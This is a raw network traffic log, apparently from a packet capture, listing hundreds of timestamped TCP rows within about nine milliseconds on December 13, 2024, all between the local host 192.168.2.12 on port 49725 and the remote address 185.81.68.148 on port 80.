Dec 13, 2024 07:49:27.996907949 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996932030 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996954918 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.996979952 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997004032 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997033119 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997054100 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997081041 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997145891 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997145891 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997162104 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997186899 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997211933 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997239113 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997260094 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997283936 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997307062 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997329950 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997355938 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997378111 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997400045 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997423887 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997451067 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997476101 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997515917 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997536898 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997570038 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997591019 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997613907 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997637033 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997662067 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997684956 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997711897 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997734070 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997760057 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997782946 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997813940 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997829914 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997854948 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997879028 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997921944 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997946024 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997976065 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.997999907 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998023987 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998070002 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998070002 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998101950 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998117924 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998142958 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998167992 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998193026 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998215914 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998239994 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998265028 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998286009 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998321056 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998342037 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998373032 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998394012 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998434067 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998445988 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998466015 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998492956 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998517036 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998544931 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998570919 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998589039 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998646021 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998646975 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998665094 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998723030 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998723030 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998753071 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998775959 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998800039 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998826027 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998848915 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998874903 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998895884 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.998928070 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999052048 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999052048 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999052048 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999052048 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999052048 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999074936 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999113083 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999123096 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999145985 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999177933 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999203920 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999224901 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999252081 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999272108 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999294996 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999321938 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999341965 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999370098 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999458075 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999458075 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999458075 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999458075 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999485016 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999514103 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999532938 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999566078 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999586105 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999607086 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999631882 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999656916 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999680996 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999706030 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999728918 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999752045 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999775887 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999798059 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999823093 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999850988 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999875069 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999907970 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999933004 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999960899 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.999985933 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000008106 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000029087 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000051022 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000075102 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000097036 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000119925 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000149012 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000175953 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000197887 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000222921 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000248909 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000271082 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000302076 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000323057 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000353098 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000375986 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000396967 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000422955 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000443935 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000469923 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000492096 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000514984 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000541925 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000565052 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000586033 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000611067 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000633955 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000659943 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000685930 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000710011 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000736952 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000761986 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000780106 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000806093 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000827074 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000849009 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000901937 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000901937 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000922918 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000948906 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000977039 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.000994921 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001017094 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001039028 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001065969 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001087904 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001120090 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001141071 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001168013 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001187086 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001215935 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001255989 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001265049 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001291037 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001310110 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001333952 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001355886 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001386881 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001399994 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001420975 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001447916 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001471043 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001498938 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001519918 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001542091 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001568079 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001597881 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001620054 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001642942 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001673937 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001688004 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001710892 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001733065 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001754999 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001776934 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001801968 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001827955 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001848936 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001877069 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001902103 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001928091 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001952887 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001975060 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.001997948 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002019882 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002049923 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002068043 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002090931 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002114058 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002135038 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002157927 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002186060 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002213955 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002234936 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002265930 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002304077 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002314091 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002338886 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002362013 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002384901 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002409935 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002434015 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002454996 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002477884 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002504110 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002525091 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002547979 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002571106 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002599001 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002623081 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002655029 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002676964 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002700090 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002722979 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002804995 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002829075 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002855062 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002878904 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002902031 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002926111 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002950907 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002978086 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.002995968 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003019094 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003045082 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003067017 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003101110 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003124952 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003148079 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003174067 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003195047 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003218889 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003240108 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003262997 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003285885 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003309965 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003343105 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003356934 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003381968 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003400087 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003432989 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003451109 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003484011 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003509045 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003529072 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003555059 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003575087 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003597021 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003622055 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003652096 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003674030 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003696918 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003720999 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003742933 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003765106 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003792048 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003820896 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003844976 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003875971 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003897905 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003925085 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003947020 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003973961 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.003994942 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004018068 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004039049 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004061937 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004086018 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004110098 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004133940 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004158020 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004188061 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004215002 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004241943 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004268885 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004292011 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004316092 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004352093 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004364014 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004391909 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004411936 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004435062 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004456043 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004498959 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004515886 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004543066 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004573107 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004596949 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004626036 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004648924 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004673958 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004698038 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004724979 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004741907 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004761934 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004786015 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004806995 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004827023 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004847050 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004880905 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004909039 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004926920 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004955053 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.004976988 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005002975 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005024910 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005053997 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005076885 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005095005 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005117893 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005143881 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005172968 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005197048 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005222082 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005239010 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005264997 CET	49725	80	192.168.2.12	185.81.68.148
